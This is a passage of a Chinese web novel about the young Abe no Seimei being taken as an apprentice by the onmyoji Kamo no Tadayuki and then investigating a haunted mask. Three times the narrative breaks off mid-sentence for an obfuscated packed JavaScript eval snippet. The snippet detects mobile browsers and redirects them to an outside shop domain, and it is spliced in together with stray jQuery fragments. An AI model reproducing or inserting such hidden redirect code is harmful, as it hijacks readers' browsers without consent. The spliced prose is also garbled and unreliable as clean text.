“怎么回事?贺茂卿。”天皇坐在高台上的帷幔后,自然将一切都看得一清二楚。 贺茂忠行收回目光,笑着往天皇的方向鞠了一躬,说:“看起来是鬼过于喜欢这次的贡品,才会想要带一点回去慢慢享用。” “那又为何会停留在安倍卿身边?”天皇显然也不是那么好骗的。 “这个嘛……”贺茂忠行用折扇抵住了嘴唇:“或许是有人天生灵力,困得住妖鬼,不过这还要进一步确认才行。” “倘若真是这样,实乃陛下洪福。”贺茂忠行轻轻抛起手中的苹果又接住,晴明的目光紧随着那只苹果,不过他看到的不仅仅是苹果,还有鬼。 三四只奇形怪状的鬼争夺着苹果,谁都不肯相让。 5. 第五章:贺茂忠行 “真是座很好的宅院啊。”贺茂忠行还没迈进安倍家的大门,他就这样感叹道。 安倍益材没应声,他总觉得贺茂忠行话里有话。 说实话,安倍益材一点也不想把这个大阴阳师带到他家里去。 贺茂忠行在天皇面前说的那一句“天生灵力”让他心惊肉跳,疑心对方或许已经看穿了晴明的身份。 但这是没有办法的事,毕竟这件事已经被天皇知道了,如果他们不能给天皇一个满意的答复的话,天皇大概是不会罢休的。 “保宪,感觉到什么没有?”贺茂忠行摇了摇手中的折扇,回头去问那个跟在他身后,仍然捧着太刀的孩子。 此时他们已经走进了安倍家的庭院。 “这附近阴气很重。”名叫保宪的孩子四处看了看,疑惑地问:“但是为什么一点都没有侵入……” 一点儿都没侵入到这座宅院里,甚至,还能够从这座房子里感受到一股灵气,虽然微弱,但这种灵气通常很难形成,按照常理而言,只有人迹罕至的深山之中才具备灵气生成的条件。 “你只知其一,不知其二。”贺茂忠行轻轻用折扇敲了敲保宪的脑袋,责备的意味并不是很强:“阴气聚集,只是为了作祟害人吗?” 那还能是因为什么?安倍益材在一旁听着,完全不明白贺茂忠行说这些的用意。 “妖鬼有依附于强者的天性,它们聚集在这儿,多半是把住在这里的人当成了大妖怪。”贺茂忠行徐徐说道:“今天仪式上那只鬼也是如此,它献上自己的供奉,以此恳求强者庇佑于它,而这个强者嘛……” 贺茂忠行笑着,继续说了下去,意有所指:“妖狐之子天生灵力,和那些不入流的小鬼比起来,确实算是个强者。” 安倍益材一下子面如土色,几乎是下意识地挡在了晴明身前。 贺茂忠行慢悠悠地摇着折扇,不急不徐地说:“你倒是不必这样担心,如果我想对这孩子不利,刚才在天皇面前动手岂不更好?何苦还要撒谎骗他呢?” 他竟然把欺骗天皇这种大逆不道的事说得这样轻描淡写。 “进去说吧。”安倍益材稍微放松了一点,但精神还是紧绷着。 他们进到里屋,屏退所有仆人,安倍益材这才问道:“贺茂大人,您的意思是……” “虽然稚子无罪,但有些事还是要确定一下的。”贺茂忠行在晴明面前摊开了自己染血的手掌,解开包扎用的布条,任由伤口暴露在空气中,含笑问道:“感觉如何?” 晴明犹豫了一下才问:“您……不疼吗?” 贺茂忠行闻言,大笑起来,他一边笑,一边摸了摸晴明的头,说:“好孩子,你可知道,我为什么要割破手掌?” “因为它们想要您的血。”晴明回答得很快,因为他亲眼看见了鬼贪婪地舔舐那枚苹果表面沾染的血的情景。 “你果然看得见。”贺茂忠行点头微笑:“也是,狐妖之子,自然是天生开了心眼的。” 心眼,那是一种很特殊的能力,绝大多数人需要经历过训练才有可能打开心眼,从而,借助心眼看见那些隐匿了身形的妖鬼。 但是总有极少数人天赋异禀,天生便可见鬼,而这种人往往能于阴阳一道取得很高的成就。 安倍益材皱了皱眉头,很不喜欢贺茂忠行一口一个“狐妖之子”的行为,于是他毫不客气地问:“您究竟想说什么?” “我相信你也很担心这孩子的未来。”贺茂忠行一边说,一边重新包扎好了自己手掌的刀伤:“他年岁愈长,灵力愈强,如果任由他自己发展而不加控制,恐怕终有一天会酿成大祸。” “……”这话正说中了安倍益材的心事,他不知不觉地坐直了。 “稚子无辜,我更不是什么见到妖怪就赶尽杀绝的人,而且我刚刚试过了,这孩子似乎并没有什么饮血的本能。”贺茂忠行举起那只受伤的手,笑眯眯地晃了晃。 “所以,我有个主意,我会向天皇禀报说这孩子天生灵力,是个可造之才,然后我收他为徒,把阴阳道传授给他。”贺茂忠行想了想,又解释说:“你尽管放心,我并没有什么其他图谋。早年间我游历山林的时候,曾与狐妖讲论过阴阳之术,受益匪浅。如今我把阴阳术教给这孩子,就当作是还了狐妖的情分了。”他这话说得坦坦荡荡,叫人丝毫生不起疑心来。 “那天生灵力这件事会不会被怀疑……”安倍益材的心稍稍有些松动,贺茂忠行的提议听起来十分诱人。 贺茂忠行笑起来:“没有人会因为阴阳师能看见鬼而去怀疑他不是人类。” “而且,”贺茂忠行拍了拍那个叫保宪的孩子的肩膀,说:“我儿子保宪,同样也是天生灵力,自小便能看见妖鬼,至今也没人把他当成过妖怪。” 安倍益材张了张嘴,还没等他说话,心脏骤然一阵抽痛。 他几乎都要忘了葛叶给他下的这个咒术了! 贺茂忠行神色一肃,起身扶住安倍益材,喃喃着:“原来如此,我还以为……”他摇了摇头,没再说下去,从衣服内怀摸了张符出来,往安倍益材心口上一贴,低声说道:“咒印驱散,急急如律!” 他足足念诵了十数次咒语,安倍益材才疼痛稍减,接着,呕出了一大团雪白色的狐狸毛发,等到狐狸毛吐尽之后,那种叫人难以忍受的痛苦便彻底消失了。 “这……我什么时候吃下去的?”安倍益材缓过劲来,看到那堆狐狸毛发不禁愕然。 “这不过是咒的凭依形态而已,它既可以是毛发,也可以是任何一种物品,而通常情况下,咒的凭依形态与施咒者有莫大的关联。”贺茂忠行尽量通俗地解释,但安倍益材还是听得半懂不懂。 “我记得你,或者说是记得你身上的咒。”贺茂忠行忽然又说:“是三年前吧,我与人辩论关于妖怪的事,你当时就躲在一边。” 提起这件事,安倍益材脸上有些发烧。 “我当时是先注意到你身上的咒,然后才注意到你这个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460580|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺茂忠行继续说:“这种咒十分特殊,必须耗费掉半生修为才能施展。所以,如果不是真的有很深的执念的话,谁也不会选择下这种咒的。” “当时我想,既然对方不惜牺牲修为也要对你下咒,而这种咒又不会致死,那我又何必插手多管呢?”贺茂忠行这个人有时候坦诚得叫人有点难以接受。 “不过现在看来,下咒的是这孩子的母亲吧?”贺茂忠行猜测道:“为了让你好好照顾这孩子,不把他交给别人?”虽然这不是完整的事实,但也被他猜了个八九不离十。 安倍益材点了点头,后怕地按住了心口。 贺茂忠行了然地一笑,既然刚才那个咒会发作的话,那就证明安倍益材已经对他的话动心了。 对于这个孩子,他势在必得。 实际上,他还有另一个不能宣之于口的理由,眼下朝政之间暗潮汹涌,势力驳杂,他贺茂忠行虽然精于阴阳一道,但要凭借这一点就想在朝廷立足还是远远不够的。更何况现在因为他受天皇宠信,眼红他位置的人不少,而信服他的人不多。 如果他能培养出一批强大的阴阳师,他未来也就不用再担心自己的地位被人动摇了。 “如果他跟你们去了,那他……”安倍益材犹豫了一下,最后还是说了下去:“他还能回家来吗?” 贺茂忠行一笑:“当然,学阴阳术又不是禁足,他随时都可以回来的。” “晴明。”安倍益材似乎有些不忍,但他最后还是说:“你跟这位贺茂大人去吧。” 晴明歪了歪脑袋,问:“阴阳术是什么?” 贺茂忠行伸手去衣袖里摸出了一张白纸剪成的动物,也不知他念了句什么话,那张白纸竟自己跳了起来,而且逐渐变得立体,越来越像一只真正的动物,最后,白纸变成了一只长着两条尾巴、模样很凶恶的黑猫。 “猫又,我的式神。”看到安倍益材惊愕的神情,贺茂忠行用折扇压住了唇角:“这就是阴阳术。” 传说猫是一种有灵性、很容易变成精怪的动物,每活过九年便会多长出一条尾巴,这样的猫便被称作“猫又”。 猫又生性残忍,喜好食人,而且睚眦必报。 只见猫又先是在地上伸了个懒腰,充分伸展了一下它柔软的身体,然后才龇开了满口利齿,问:“贺茂大人,这次你想撕了谁?”虽然它口称“贺茂大人”,但语气可没有任何恭敬的意思。 贺茂忠行好像完全不在意猫又说的那句杀气腾腾的话,他笑道:“这次没什么事叫你做,我不过是展示一下阴阳术而已。” 猫又嫌恶地啧了一声,转头去扑自己身后摇晃着的两条尾巴,不再搭理贺茂忠行。 晴明还是第一次见到,他从小就喜欢这些毛绒绒的动物,当即也不顾猫又龇牙咧嘴地冲他咆哮,强行把猫又抱在了怀里。 “想学吗?”贺茂忠行低声说,诱哄似的:“我可以教给你。” “我可以带明美子一起去吗?”晴明眼睛亮亮的。 6. 第六章:难相见 “明美子?是说她吗?”贺茂忠行喃喃地念了段咒语,座敷童子的身形随即不受控制地显现了出来。 明美子蜷缩在一个墙角,瑟瑟发抖,脸色似乎比之前更苍白了些。 猫又就像被谁踩了尾巴似的一跃而起,龇开满口尖牙就要扑过去,却被贺茂忠行轻而易举地揪住后颈,提了起来。 “她躲在这儿偷听有好一阵子了。”贺茂忠行轻松地拎着不断咆哮挣扎的猫又,顺口又念了一句:“现成真姿。”猫又的身体便迅速缩水,变回了白纸一张,被贺茂忠行揣回怀里。 “阴阳师,如果你敢骗晴明的话,”明美子嘴唇颤抖着,但还是努力鼓起勇气,把话说完了:“我不会放过你的。” 眼前这两个穿着狩衣的人,身上沾满了她最害怕的味道,但是无论如何,她都要保护晴明。 如果不是晴明,她大概永远都不可能拥有一个名字,更不可能拥有一个家。 她死的时候,还没有来得及见识到世间险恶,所以这些年来,她始终赤诚如一,永远不改。 晴明不懂明美子为什么害怕,但他知道明美子需要安抚,于是他走过去,握住了明美子冰凉的手。 “明、美、子。”贺茂忠行咀嚼着这个名字,笑问晴明:“你给她取的?还真是好运气。” “这是什么意思?”安倍益材问。 “也许你也听说过,名字是一种最简单的咒,普通人取名倒是没什么。”贺茂忠行用折扇点了点明美子的方向:“但如果是身怀灵力的人为妖鬼取了名字,这个名字就会成为束缚他们二者的咒。” “这种束缚与式神契约类似,但又有很大不同,就拿晴明这孩子和明美子举例来说吧。”贺茂忠行徐徐说道:“明美子接受了这个名字,即视为契约达成,通俗一点来讲,提供名字的晴明现在变成了接受名字的明美子的主人。” 晴明和明美子互相看了一眼,他们俩都是第一次听说这种事。 明美子没等贺茂忠行继续往下说,急切地问:“我和晴明的这种契约对他有伤害吗?” “他会把他的灵力分给你一部分,让你变得更强一些,这一点我相信你也感受到了。”贺茂忠行一点儿也没因为明美子打断他的话而生气,好脾气地解释说:“出现什么伤害倒是不至于,毕竟你也不是什么实力强劲的鬼,所需求的灵力微乎其微,对晴明来说,几乎造不成任何影响。” “你说晴明现在是我的主人……”明美子又问:“可我并没有感觉到什么束缚,这又是怎么回事?” “这就是这种契约关系的问题所在了。”贺茂忠行展开折扇摇了几下:“这种契约只影响到命名的主人,而对被命名的妖鬼的束缚能力极小,所以很少有人愿意给妖鬼取名,相比之下,还是式神契约更加稳妥一些。” 原来是这样,安倍益材暗忖。难怪晴明给座敷童子取过名字之后,座敷童子就在他面前显了形,而这个座敷童子的心智更成熟说不定也是这个名字造成的影响。 明美子沉默不语,少顷,她抬起头,坚定地说:“不论这契约对我有没有约束力,我都会保护他,还有这个家。” 贺茂忠行笑了笑,不以为意。 在他看来,一个孩子的承诺实在算不了什么,天真的孩子话而已,说不定用不了几天就全部忘记了。 “跟我走吗?你可以带着你的小朋友一起。”贺茂忠行又问了一遍。 还没等晴明回答,明美子就先表了态:“我不能走,如果我离开这儿,住在这里的安倍大人恐怕会遭遇不幸的。” 明美子这话并不是危言耸听,座敷童子的确是为人带来福运的鬼怪没错,但是一旦它们离开原本居住的房屋,房屋的主人一定会立即倒霉。 所以大家才会千方百计地把座敷童子留在自己家里,有时候甚至不惜请来法师将它们封印住,不让它们离开,只为了避免召致不幸。 不过没人知道座敷童子会有这样的特性,或者说也根本没人关心这点小事。人们只需要知道座敷童子可以带来福运,那对他们来说,就已经足够了。 “那我……”晴明还在犹豫,安倍益材已经替他做好了决定。 安倍益材站起来,向贺茂忠行深深鞠了一躬,说:“麻烦贺茂大人了,请今天就把他带走吧,我稍后会把他的东西送到贺茂大人府上的。” “哦?”贺茂忠行有些意外,皱了皱眉,不过很快就想明白了安倍益材这样急着送走晴明的原因,唇角一弯,随即又用折扇压了下去。 安倍益材这样心急,大概是怕他反悔吧。 殊不知他贺茂忠行才是更怕反悔的那一个。 贺茂忠行说了个地址,笑道:“就把这孩子的东西送到那儿吧,安倍大人放心,我贺茂忠行绝不会苛待他。” 这两个人你一句我一句,就这样把晴明未来的去处定了下来。 “父亲大人!”晴明显然不愿意跟一个刚认识的人离开,他试图让安倍益材回心转意,但后者只是摸了摸他的头,说:“去吧,这是为你好。总有一天我保护不了你,但这位贺茂大人可以。” 安倍益材移开了目光:“愿意回来的话,那就随时回家来看看,我也会去看你的。” “好好听这位贺茂大人的话,不要惹他生气,知道了吗?”安倍益材似乎还想说点什么,可他什么也没再说,伸手把晴明推给了贺茂忠行。 安倍益材自己也不知道这个决定是不是正确的,他只是个普通人,既不通阴阳也不懂占卜,但他身为人父,必须替自己的孩子寻求一个更加光明的未来。 而这样的未来他给不了。 贺茂忠行是唯一的机会,即使他并不能完全信任这个满口谎言的阴阳师。 他根本不相信贺茂忠行口中“偿还狐妖半师之情”这种真假难辨的话,毕竟,你能指望一个连天皇都可以欺骗的人有什么信誉吗? 但是安倍益材别无选择,如果他不肯把晴明交到贺茂忠行手里,也许这个阴阳师转头就能把晴明狐妖之子的身份公诸于众。 相反,晴明入了贺茂忠行门下,那么从此不论贺茂忠行是否真心想要庇护晴明,他都必须保证晴明的身份不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460581|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能暴露,甚至可以说到了那个时候,贺茂忠行比安倍益材更害怕晴明半人半狐的血脉被人察觉到。 毕竟安倍益材还可以辩解说自己并不知道葛叶的身份,但是贺茂忠行要怎样为自己开脱呢? 如果说自己是受了狐妖蒙蔽,那么贺茂忠行作为阴阳师的生涯就走到了尽头,谁会叫一个分辨不出妖怪的阴阳师为自己占卜呢? 而若是不这样说,那就代表贺茂忠行明知故犯,把一个具有一定威胁性的妖怪留在了自己身边,甚至还把阴阳术尽数传授给这个妖怪,这样一来,贺茂忠行的罪过就更大了。 这才是安倍益材的算盘,从今以后,晴明和贺茂忠行的命运就绑在了一起,一荣皆荣,一损皆损。 而贺茂忠行为了保住自己,他必然会想方设法保住晴明。 安倍益材转过身去,听着晴明和贺茂忠行父子离开的脚步声,笑了一笑,眼前稍稍有点模糊,他下意识地快速眨了眨眼睛,不让眼中聚起的水雾掉下来,然后才后知后觉地记起来,晴明已经走了,他不需要再保持自己无坚不摧的父亲形象了。 他这样做是对的,这是为晴明好。 安倍益材反复这样告诉自己,机械地迈开步子走到了晴明的房间。 他得给晴明收拾东西…… 明美子也跟着去帮忙,一直到了这个时候,安倍益材才意识到他这个做父亲的,对晴明的了解甚至还不如这个座敷童子多。 他既不知道晴明喜欢月白色,也不知道晴明在睡觉的时候总是把自己缩成小小的一团。 他做父亲还真是不称职。安倍益材自嘲地笑了笑,然后要求明美子再多说一点晴明的事。 说起来,这还是自从明美子在他面前显形以来,他第一次心平气和地跟她说话,完全不顾虑这些对话会不会被人听去。 也是第一次,他认认真真地叫她:“明美子”,算是真正承认了这个名字。 晴明取的名字。 最后收拾出来的东西装了满满一辆车。 所有可能用得到的、可能用不到的东西都带上了,有些安倍益材想不到的方面,明美子还为他做了补充。 送东西去贺茂府上的时候,安倍益材没见到晴明,据接应的仆人说,贺茂忠行带晴明熟悉拜师仪式上的步骤去了。 这样就很好了,安倍益材想,晴明大概也早就受够了他管东管西,贺茂忠行不会限制他表现出的任何才能,这样经过比较之后,晴明很快就会烦透了他,像这样不必见面,就很好了。 贺茂忠行是个守诺的人,他当着所有贵族和官员的面,向天皇禀报,说晴明是个难得的、天生灵力的孩子,天赋不亚于他的儿子贺茂保宪,他已经把晴明收作弟子,料想未来必有一番成就云云。 安倍益材也在场,看着跟在贺茂忠行身边、换上了一身月白色狩衣、垂手侍立的晴明。 晴明低着头,沉默安静,一如既往。 安倍晴明,从此不再是他一个人的安倍晴明。 他属于阴阳道,属于阴阳两界,唯独不再属于他自己。 7. 第 7 章:占覆 夏日炎炎,恰是人最困顿的时节。 两个男孩儿年纪相仿,躲在贺茂忠行庭院边、高墙的阴影下,盘膝对坐,他们中间放着一副棋盘。 日本将棋。 这两个孩子中间年纪稍长的也不过十三四岁模样,坐得端端正正,双手搭在膝头。即使是在这种天气下,他也把狩衣穿得整整齐齐,一毫不乱,即便额头上大汗淋漓,也不肯把衣领扯松哪怕一点点。 这是贺茂保宪,贺茂忠行的长子。 另一个男孩儿则刚好相反,他为了贪凉,满不在意地脱去了厚重的狩衣,旁若无人地打着赤膊,毫无作为贵族子弟的自觉。 十一岁的安倍晴明,懒懒地支着下巴,眼睛半开半合,完全一副昏昏欲睡的样子。 这个年纪的男孩子五官尚未完全长开,但令人不安的是,晴明的面孔此时已有了三四分白狐的影子,眼眸细长,眼尾向上微微挑起,偏生他又喜欢眯起眼睛看人,这个习惯令他的模样更像是狐狸了。 贺茂忠行的院子里种满了名贵的花卉,其中却杂着不少普通的桔梗花。这种野花生命力极其顽强,贺茂忠行始终除不尽它们,无奈之下,便也只能随它们去了。 不远处,桔梗花开遍了庭院,浅浅淡淡的蓝色泼洒得随处可见,似乎凭空给夏日带来了一丝清爽。 晴明的目光从贺茂保宪的肩膀上空穿过,径直落在了一丛盛开着的桔梗花上,不知怎么的,他似乎突然对这种普通的野花产生了极大的兴趣,令人怀疑他是不是又看见了什么常人看不到的东西。 “晴明,晴明?”贺茂保宪一连叫了他好几声,晴明才把注意力从桔梗花上挪开,转移到他面前的师兄身上,未语先笑:“嗯?怎么了保宪师兄?” 贺茂保宪指了指棋盘:“到你了。不过你刚才在看什么这么入神?”贺茂保宪扭过头,往晴明刚才看的方向张望了一阵,但他根本没找到任何值得注意的东西。 晴明随手挪动了一枚棋子,笑道:“没什么,只是忽然觉得桔梗花的形状很有趣罢了。”然后他继续懒懒散散地托起了下巴。 “桔梗花有什么特别的,有时候真是搞不懂你。”贺茂保宪嘀嘀咕咕地说,也跟着移动了一下棋子。 晴明不答,只是笑,细长的狐狸眼因这一笑而又眯了起来。 棋到中局,晴明毕竟年纪小些,棋艺尚欠火候,他的棋子被贺茂保宪杀伤了大半,连最重要、能够决定胜负的棋子“王将”都陷入了危机之中,被吃掉只不过是时间问题而已。 输了棋,晴明也不着恼,还是那副懒懒的样子,不过稍稍认真了一点,试图让王将逃出重围。 忽然,门被叩响,而且是一连串急促的叩门声。 贺茂家自有仆人应门,因而贺茂保宪和晴明谁也没起身。 “来找师傅的。”贺茂保宪往门的方向望了一眼。他自幼便师从贺茂忠行,习惯上一直称自己父亲为“师傅”。 晴明一笑:“显而易见,而且是来请忠行师傅驱鬼的。” 贺茂保宪来了兴趣,朝大门的方向抬了抬下巴:“占覆,来一局?” “来。”晴明此时才终于有了点十一岁孩子该有的胜负心,他不知不觉地坐直了。 占覆是一种阴阳师之间常玩的占卜游戏,占,意为占卜,覆,则是将某物盖住。占覆,即指通过卜算,猜出那个被盖住的物品,也可引申为占卜出被隐藏的内容等等。 占覆的特点是猜物范围极其宽泛,欺世盗名之徒绝对不可能凭空猜出答案。因此,占覆经常被用来测试阴阳师的占卜能力,贺茂忠行也常用这种方法来考较贺茂保宪和晴明两人的功课。 “你先来吧。”贺茂保宪很是大度。 通常而言,第一个做占卜的人总是更容易一些,心理压力也更小,贺茂保宪身为师兄,让着晴明也是理所应当。 晴明也不客气,不假思索笑道:“以此棋局入卜,‘王将’受你二子所困,走投无路,却并非无法可解,若是求助于‘龙王’,此局易破。”说着,他移动了一下自己的棋子“龙王”,接着又道:“此人身边必有二鬼,时时作祟,却不夺人性命,只叫人惊怖惶惶。想来如今必是闹得利害,不得已才来找贺茂师傅。” “好啊,这局棋倒是助了你了。”贺茂保宪听了,知道晴明已把事情猜了个大半,他也不急,往大门的方向一指,说:“此人叩门,初叩三下,不疾不缓,后渐急渐快,可见他家里妖鬼作祟之事也同样如此,初时不甚严重,还未引起重视,近日里却越发变本加厉,到了无法忽视的程度。而此人叩门甚久,家仆却迟迟未至,是仆人倦怠失职,料想多半是此人供奉神明之时,他家里的仆人或是提供了不新鲜的供奉,或是弄脏了贡品,总之,必然是冲撞了神明,才引来神明的怨气。” 晴明沉吟一下,说:“这话有理,但有一处不通:祭祀和供奉神明这种大事,贡品等物多数都是主人家亲自准备,很少假手于人。依我看,若按你方才说的,似乎解释为付丧神作祟更为合适。” 长期放置不用的东西便会化为妖怪,这类妖怪被称作是付丧神,这是一种很常见的小妖怪,能力也不强,最多也只能在主人准备取用它们的时候悄悄躲一下,或是夜里发出些怪声来吓唬人而已。 很多人都有过“某件东西明明记得在某处看见过,但无论如何都找不到”的经历,那就很有可能是付丧神在作祟了,多数的付丧神对人并没有恶意,只是喜欢开一点儿小玩笑罢了。 毕竟人们把它们长期弃置一旁,会遭到它们的恶作剧报复也在情理之中,更何况这些恶作剧根本无伤大雅。 “可是付丧神怎么会把人骚扰到这个地步?”贺茂保宪自然也知道根据占卜的结果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460582|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付丧神作祟的可能性更大一些,但他自己否决了这个可能。 “这我就不知道咯。”晴明又松懈下来,懒懒地说:“不过我看到那个人现在已经被仆人带进来了,不如师兄你去问问,印证一下?” 占覆的另一特点是可以当场验证占卜结果,如果不这样的话,占覆也就失去了它的意义。 贺茂保宪当真站起了身,不过并没去找对方直接询问,而是理了理狩衣的衣角,以确保自己没有任何不得体之处,然后他笑对晴明说:“倒也不必特意去问,既然他过来找师傅,那必然会将家中之事全部说给师傅。我先走一步,至于你,”贺茂保宪自得地拍了拍身上的狩衣,笑道:“还是把衣服穿好了再去见师傅吧,师傅见了你这副模样,怕是又要骂你。” 贺茂保宪施施然地走了,只留下晴明独自还坐在原地,慢慢地收拢起那一局残棋。 末了,他拿起之前丢在一边的月白色狩衣,一件件重新穿好,眼眸懒懒地垂着,他似乎总是一副对什么都不太在意的神态。 最后他站起身来,低头看了看身上擦不干净了的尘土和草的汁液,这都是刚才不留神的时候蹭上去的。 “这个样子恐怕也是要挨骂的。”晴明喃喃自语:“早知道这样,还不如不穿了,白白受这份罪。” 不过说归说,晴明也不是不知礼数的人,安倍益材和贺茂忠行无数次地教过他身为贵族的礼节,他就算再惫懒也不会在这种事上犯浑。 于是晴明趁着没人注意,悄悄溜回了自己房间,找了套新狩衣换上,不过因为狩衣脱换程序极为繁琐,等到他终于把自己拾掇成了可以见外客的程度的时候,那客人已经把家中妖鬼作祟的事情同贺茂忠行讲过一遍了。 那客人穿着一身黑色的朝服,一看便是身份显赫的贵族,不过贺茂父子和晴明对于贵族来求助他们这种事早已经习以为常了,毕竟他们还常常为天皇占卜,相比之下,一个贵族实在算不上什么。 “怎么这么慢啊。”趁着贺茂忠行在向客人确认妖鬼作祟的具体细节,贺茂保宪悄悄埋怨晴明:“你都不知道你错过了什么,好家伙,这次的鬼恐怕不好应付。” 晴明也悄悄地笑道:“先不提这个,刚才占覆是谁说对了?” 贺茂保宪倒也不隐晦:“还真是付丧神,听那样子是面具化成的付丧神。不过倒是真奇怪了,这位大人说,那个面具在他们家里放了有几十年了,一直没作过祟,前几天却忽然闹起来,还越闹越厉害了。” “面具是通灵之物,变成什么样子都不奇怪。”晴明一边说着,一边往客人那边看了一眼,那客人约莫四十来岁,满面愁容,精神极其萎靡,他正紧紧地抓着贺茂忠行的手,仿佛抓住了救命的良药。 “晴明,保宪,准备东西,跟我去这位藤原大人家里去看看。”贺茂忠行威严地下达了指令。 8. 第八章:面灵气 藤原兼家一向浅眠。 因此,当房门外走廊上传来脚步声的时候,他立刻就被惊醒了。 他起初没太在意,因为那脚步声实在有些响,不像是窃贼发出的声音,但是时间长了,那声音似乎越来越大,而且一直在他房门前徘徊不去。他总觉得不安,便披上衣服起来查看。 藤原兼家推开门一看,一个衣着单薄的女子背对着他,在走廊上游魂似的慢慢走着。 藤原兼家松了口气。 他认出了这个背影。 这是他的小女儿,藤原绥子,还未曾许配给人。 他原本是打算把她送去给天皇做妃的,就像她的两个姐姐一样。 但她年纪尚小,此事不急。 “你在这儿做什么?绥子?” 藤原绥子回过头来。 月光之下,藤原兼家看清了他女儿的脸,顿时大叫一声,面如土色。 他看到了一张鬼面。 “所以说,是这位藤原大人的女儿把面具戴在了脸上,还摘不掉了?”晴明一边跟着贺茂忠行的牛车慢慢走,一边偏过头去问他身边的贺茂保宪。 在路上的这段时间,贺茂保宪已经把那面具作祟的具体情形全部讲给了晴明,不过看到晴明镇静的样子,贺茂保宪不由得有点失望,他原本指望拿这件事来吓一吓晴明来着。 “是啊,而且据藤原大人说,自从他女儿带上面具之后,行为就越来越诡异了。不过还真奇怪,面灵气怎么可能会有这么强的能力?”贺茂保宪百思不得其解。 面具形成的付丧神叫作面灵气,在所有的付丧神之中,面灵气是最常见的一种,这是因为面具从被制作出的那天起,就带有灵性,不过,即使是变成了面灵气,它们的能力也并不比其他的付丧神强多少,顶多也只能在夜里悄悄移动一下位置而已。 晴明想了想,说:“也许还有其他的东西在呢?刚刚占覆的时候,我占到的结果是有两只鬼存在的。” “还在想这个啊。”贺茂保宪且笑且叹,他走着走着,忽然发觉周围的景物有些熟悉,便悄悄用胳膊撞了撞晴明,说:“你看看,是不是快到你家那边了?等这事儿完了,不回去住两天?” 晴明还真没留意到这个,他一直在想面灵气的事,听见自家师兄的话,才恍然惊觉自己已经走到了自己家附近。 “倒是好久没见到明美了。”晴明不说要回去看父亲,却说自己有点想念从小陪伴他的座敷童子。 晴明一向如此,似乎和自己父亲的感情很淡,贺茂保宪虽说是师兄,但毕竟是个外人,也不好对别人的家事多说什么。 藤原兼家的宅子和安倍家距离很近,二者之间只隔着一条街。 贺茂忠行没急着进宅院,先在宅院外面转了转,眉头皱得更紧了。 虽然贺茂忠行没说什么,但贺茂保宪和晴明都明白贺茂忠行的意思,他们跟了贺茂忠行这些年,已经学到了不少东西。 按理说,有妖鬼作祟的宅子里,周围应该围绕着不少阴气。但是在这里,他们却感受不到一点阴气,相反,这里风水极好,甚至还萦绕着一丝若有若无的瑞气。 但显然藤原兼家不会在这种事情上说谎骗人,他说有鬼,那就一定有。 看得到的东西并不可怕,看不见的东西才可怕。 这句话不仅仅适用于阴阳师。 贺茂保宪和晴明对视一眼,都从对方的眼中看到了惊疑。 他们俩还没遇到过这种情况。 因为贺茂忠行会根据委托者的描述来判断作祟妖鬼的危险性,从而决定要不要带上他们两个。 他们年纪还小,须得循序渐进,急不得的。 而这一次,贺茂忠行显然只是把对方当成了能力稍强一些的付丧神,没有太把它当成一回事。 而无论这个作祟的鬼是学会了隐藏阴气还是别的什么,显然它都不是什么好相与的角色。 贺茂忠行则气定神闲得很,他向藤原兼家微微一点头,后者立刻明白了他的意思,引领着贺茂忠行,走进了宅院。 贺茂保宪和晴明只得跟上。 藤原兼家的庭院无疑是布置得极为讲究的,比贺茂忠行的院子气派很多,贺茂忠行跟在藤原兼家身后,走在碎石子铺就的花园小径上,不着痕迹地打量着这座精致的庭院,脸色微沉,不知在想什么。 藤原氏几代都是天皇最宠信的重臣,权倾朝野。不论是他们手中掌握的权力,还是他们的家学渊源都绝非是贺茂忠行这个小小的阴阳师可比拟的。 他们刚走到庭院的中间,就忽然听到了一阵激烈的吵闹声。 紧接着,一只血红色脸盘、头上生角的鬼猛地窜了出来,龇开尖利的犬齿朝他们扑过去,贺茂保宪冷不防被吓了一跳,下意识就要掏符咒,却被晴明拦住:“师兄,别动手,这不是鬼。” 不是鬼?不是鬼怎么会长成这个样子? 藤原兼家走在最前面,自然是第一个与“鬼”狭路相逢,而他竟然是一副完全不害怕的样子,一把揪住了“鬼”的胳膊,试图把“鬼”辖制住,但那“鬼”似乎力气极大,轻轻松松就从藤原兼家手里挣脱了出来,还把他推了个趔趄。 “鬼”像是无意伤人,推开了藤原兼家之后,转身就往外跑。 几个半大的男孩子也跟着追了出来,但那“鬼”速度极快,更兼以身子灵活,一时间谁也抓不到它。 “贺茂大人!请帮忙拦住她!”藤原兼家崴了脚,一瘸一拐地,根本追不上那只“鬼”。 